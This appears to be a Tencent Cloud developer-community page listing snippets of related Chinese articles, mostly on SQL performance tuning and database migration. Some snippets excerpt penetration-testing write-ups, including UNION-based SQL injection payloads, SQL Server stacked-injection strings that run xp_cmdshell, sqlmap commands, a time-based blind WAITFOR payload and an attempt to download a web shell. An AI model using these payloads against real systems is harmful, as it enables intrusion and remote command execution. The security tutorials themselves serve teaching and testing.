从SQLite到MS SQL DateTime - 腾讯云开发者社区

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MS SQL SERVER导出表结构到Excel

网上找到一个脚本还不错，小小的修改就满足了我的要求，执行完SQL脚本。...SQL Server脚本： SELECT 表名 = Case When A.colorder=1 Then D.name Else '' End, 表说明 = Case

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libtorch 优化算法性能从90ms 优化到3ms

结论从原来90ms 优化到3ms

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从 50ms 到 ms：IM 系统性能优化实战

从50ms到ms：IM系统性能优化实战在IM系统中，响应时间直接影响体验。本文介绍AQChat如何将消息发送响应时间从50ms优化到ms。...10-20ms降到异步ms消息持久化：从同步20-30ms降到异步ms总响应时间：从50ms降到ms优化方案二：Redis缓存核心思路：用Redis缓存热点数据，减少数据库查询。...=null&&messageIds.contains(msgId);}}优化效果：用户信息查询：从数据库5-10ms降到Redisms房间信息查询：从数据库5-10ms降到Redisms消息去重...从50-80ms降到ms，提升约10-16倍吞吐量：从每秒20条消息提升到每秒200+条消息CPU使用率：降低约40%（Protobuf序列化更快）数据库压力：降低约80%（Redis缓存）六、优化总结优化策略总结...序列化协议选择对性能影响显著5.性能优化需要持续监控和调整通过以上优化，AQChat的响应时间从50ms降到ms，用户体验得到明显提升。

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Django数据从sqlite迁移数据到MySQL

说了这么多，这么做马上就碰到了一个潜在的问题，数据库是sqlite,而我们实际使用肯定是MySQL，从使用和数据安全性上来说，我们更倾向于用MySQL,但是sqlite和MySQL本身不是完全兼容的，怎么同步这些数据...怎么把sqlite的数据同步到MySQL就是摆在我面前的一个问题。我做了快速的尝试，用了如下的方式，仅供参考。...把sqlite的数据文件拷贝到linux里面，因为我正式的服务都是在linux下，同样的应用我使用了MySQL,这个数据文件有个好处就是从windows拷贝到linux，还是能够正常解析的，登录使用命令...sqlite3 db.sqlite3 .dump 得到的SQL类似下面的形式，大部分的语法还是兼容的。...如果是sql文件需要去掉脚本里的“”，要不解析会出错。把SQL部署到MySQL，就行程了一个闭环，我们就可以按照自己的想法来补充完善了。

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Django数据从sqlite迁移数据到MySQL

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使用PDI从Mysql抽取数据存入到Sqlite

1.建立Mysql连接 image.png 2.建立Sqlite连接自定义连接URL：jdbc:sqlite:/data/testdb.sqlite3 自定义驱动类型 org.sqlite.JDBC

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从SQL注入到脚本

网站最常用的查询是SELECT语句，用于从数据库中检索信息。...由于它用于从其他表检索信息，因此可以将其用作SQL注入负载。攻击者无法直接修改查询的开头，因为它是由PHP代码生成的。...使用UNION开发SQL注入使用UNION开发SQL注入的步骤如下：查找要执行并集的列数查找页面中回显的列从数据库元表中检索信息从其他表/数据库检索信息为了通过SQL注入执行请求，需要找到查询第一部分返回的列数...如果要使用正则表达式轻松地从结果页检索信息（例如，如果要编写SQL注入脚本），可以在注入中使用标记：``1 UNION SELECT 1,concat('^^^',table_name,':',column_name...admin:8efe310f9ab3efeae8d410a8e0166eb2 可以使用以下命令行破解以前检索到的密码： $ .

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搞对了数据库链接池，耗时从 100ms 优化到 3ms！

，一开始设置的中间件线程池大小为2048：初始的配置压测跑起来之后是这个样子的： 2048连接时的性能数据每个请求要在连接池队列里等待33ms，获得连接后执行SQL需要77ms 此时数据库的等待事件是这个熊样的...：连接池降到1024后获取链接等待时长没怎么变，但是执行SQL的耗时减少了。...96个连接时的性能数据队列平均等待1ms，执行SQL平均耗时2ms。 wait事件几乎没了，吞吐量上升。...没有调整任何其他东西，仅仅只是缩小了中间件层的数据库连接池，就把请求响应时间从100ms左右缩短到了3ms。 But why?...上图是PostgreSQL的benchmark数据，可以看到TPS增长率从50个连接数开始变缓。

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EngineerCMS优化算法从2.71s到38ms

从2.71s降到38ms,但是页面响应时间还是超过了0.5s，达到1.03s。猜测应该是treeview加载这个json数据的时间吧。

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React 日期时间选择器 (DateTime Picker): 从基础到高级

在现代Web应用中，日期和时间的选择是一个常见的需求。React 提供了多种库来简化这个过程，其中最流行的是 react-datepicker 和 Materi...

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SQL入门之从A到Z

from orders o inner join inventory i on o.order_item = i.inventory_item Begin Transaction 事务是包裹着一系列SQL...的语句，通过事务可以使得事务里面的SQL可以一次性commit，或者是回滚。...Function 在 SQL Server 中，一组为了完成特定功能的SQL语句集被称为存储过程，而在Postgre SQL中被称为函数（Function）。...Group By SQL 的聚合函数允许我们针对特定的列执行诸如SUM, COUNT, MIN, MAX, AVERAGE等操作。...的执行过程，以便于更好的优化SQL。

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从 SQL Server 注入到 getshell

use tempdb;create table tt_tmp (tmp1 varchar(1000));-- sqlmap查看建表成功，sqlmap -r 1.txt --dbms "Microsoft SQL...--查找网站文件并把路径写入到表tt_tmp uname=test';use tempdb;insert into tt_tmp(tmp1) exec master..xp_cmdshell 'dir.../s /b d:\layer.js';-- 用sqlmap得到表tt_tmp的内容: python sqlmap.py -r 1.txt --dbms="Microsoft SQL Server" --...尝试直接下载shell到服务器使用bitsadmin下载时并没有成功，访问http://111.*.*.59/Content/layer/aaa.aspx返回404 uname=test';exec...D:\WEBAPP\Content\layer\layer.js'),1,1))>16) WAITFOR DELAY '0:0:1'; 参考来源：http://wyb0.com/posts/2019/sql-server-from-injection-to-getshell

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SQL注入从入门到进阶

SQL注入从入门到进阶本文章产生的缘由是因为专业老师，让我给本专业的同学讲一哈SQL注入和XSS入门，也就是本文的入门篇，讲完两节课后，发现自己对于SQL注入的理解也就仅仅局限于入门，于是有了进阶章节的产生...（Structured Query Language）是用于访问和处理数据库的标准的计算机语言,SQL与数据库程序协同工作，比如 SQL Server、MySQL、Oracle、SQLite、MongoDB...、PostgreSQL、MS Access、DB2以及其他数据库系统。...通俗来说：OWASP Top10之一，SQL注入是通过将恶意的SQL语句插入到Web应用的输入参数中，欺骗服务器执行恶意的SQL命令的攻击。...rand()：返回0~1间的小数 floor()：把小数向下取整 group by语句：把结果分组输出 8.sql注入之你问我答二、盲注 SQL盲注，与一般注入的区别在于，一般的注入攻击者可以直接从页面上看到注入语句的执行结果

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SQL Server从0到1

select name from master.dbo.sysdatabases; 获取表名： select name from test.dbo.sysobjects sysobjects表是SQL...='emails' 我想你会想，如果是我要获取第10个表名的话岂不是需要写9个条件判断语句，那样也太繁琐了吧因此我们可以直接利用sql语法，not in('xxxx') select top 1 name...varchar(2000) set @s=0x73656c656374206e61696865353637 exec(@s) #declear与exec其实是属于报错注入范畴，但是它可以将一个完成的sql...xplog70.dll进行恢复 avatar exec master.sys.sp_addextendedproc 'xp_cmdshell','C:\Program Files\Microsoft SQL...master..xp_cmdshell 'for /r c:\ %i in (i*.aspx) do @echo %i' avatar 回显问题：看到这里，可能有很多小伙伴会不耐烦的说，这是我在软件上执行的sql

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Spark SQL从入门到精通

发家史熟悉spark sql的都知道，spark sql是从shark发展而来。...Spark SQL在Hive兼容层面仅依赖HQL parser、Hive Metastore和Hive SerDe。也就是说，从HQL被解析成抽象语法树（AST）起，就全部由Spark SQL接管了。...到spark2.0以后，DataFrame变成类型为Row的Dataset，即为： type DataFrame = Dataset[Row] ?...所以，很多移植spark1.6及之前的代码到spark2+的都会报错误，找不到dataframe类。...总体执行流程如下：从提供的输入API（SQL，Dataset， dataframe）开始，依次经过unresolved逻辑计划，解析的逻辑计划，优化的逻辑计划，物理计划，然后根据cost based优化

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一次SQL查询优化原理分析（900W+数据，从17s到300ms）

(execution: 16 s 831 ms, fetching: 107 ms)，按照下文的方式调整SQL后，耗时347 ms (execution: 163 ms, fetching: 184...ms)；操作：查询条件放到子查询中，子查询只查主键ID，然后使用子查询中确定的主键关联查询其他的属性字段；原理：减少回表操作； -- 优化前SQL SELECT 各种字段 FROM `table_name...MySQL耗费了大量随机I/O在查询聚簇索引的数据上，而有300000次随机I/O查询到的数据是不会出现在结果集当中的。...加载了4098个数据页到buffer pool，而第二个sql只加载了5个数据页到buffer pool。...而且这会造成一个问题：加载了很多热点不是很高的数据页到buffer pool，会造成buffer pool的污染，占用buffer pool的空间。

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一次SQL查询优化原理分析：900W+数据，从17s到300ms

有一张财务流水表，未分库分表，目前的数据量为9555695，分页查询使用到了limit，优化之前的查询耗时16 s 938 ms (execution: 16 s 831 ms, fetching: 107...ms)，按照下文的方式调整SQL后，耗时347 ms (execution: 163 ms, fetching: 184 ms)；操作：查询条件放到子查询中，子查询只查主键ID，然后使用子查询中确定的主键关联查询其他的属性字段...MySQL耗费了大量随机I/O在查询聚簇索引的数据上，而有300000次随机I/O查询到的数据是不会出现在结果集当中的。...加载了4098个数据页到buffer pool，而第二个sql只加载了5个数据页到buffer pool。...而且这会造成一个问题：加载了很多热点不是很高的数据页到buffer pool，会造成buffer pool的污染，占用buffer pool的空间。

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ChatGPT 协作调优：把 SQL 查询从 5s 优化到 300ms 的全过程

ChatGPT 协作调优：把 SQL 查询从 5s 优化到 300ms 的全过程 Hello，我是摘星！在彩虹般绚烂的技术栈中，我是那个永不停歇的色彩收集者。...order_id BIGINT PRIMARY KEY, user_id BIGINT NOT NULL, status VARCHAR(20) NOT NULL, created_at DATETIME...): """根据SQL类型路由到不同数据库""" if sql.strip().upper().startswith(('SELECT', 'SHOW', 'DESCRIBE...从最初的5秒查询时间到最终的300毫秒，16倍的性能提升不仅仅是技术上的突破，更是一次思维方式的革新。这次协作让我认识到，AI不是要替代我们的专业判断，而是要增强我们的分析能力。...这套方法论已经在我们团队的其他项目中得到了成功应用，平均能够将SQL查询性能提升8-15倍。从技术层面来看，这次优化涵盖了索引设计、查询重写、分区策略、缓存优化等多个维度。

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一次SQL查询优化原理分析：900W+数据，从17s到300ms

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基于本地文件系统的列式数据库-DuckDB

DuckDB sqlite是一款非常优秀的数据库，特别是当开发者想在本地服务器直接运行SQL代码或者是像关系型数据库一样存储数据时，sqlite完美的切合了这个需求。...因此DuckDB应运而生，提供与sqlite一样的接口和存储方式，但其底层是列式存储。导入数据到DuckDB DuckDB完整的实现了DB-API 2.0协议。...runs, loop each) %%time # SQLite pd.read_sql(query, conn) # 25.2 s ± ms per loop (mean ± std. dev...从结果来看，DuckDB 的性能提升非常明显。...::DATE), EXTRACT(HOUR FROM tpep_pickup_datetime) ) stats -- 2.05 s ± 22.7 ms per loop (mean ±

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MS SQL SERVER导出表结构到Excel

libtorch 优化算法性能从90ms 优化到3ms

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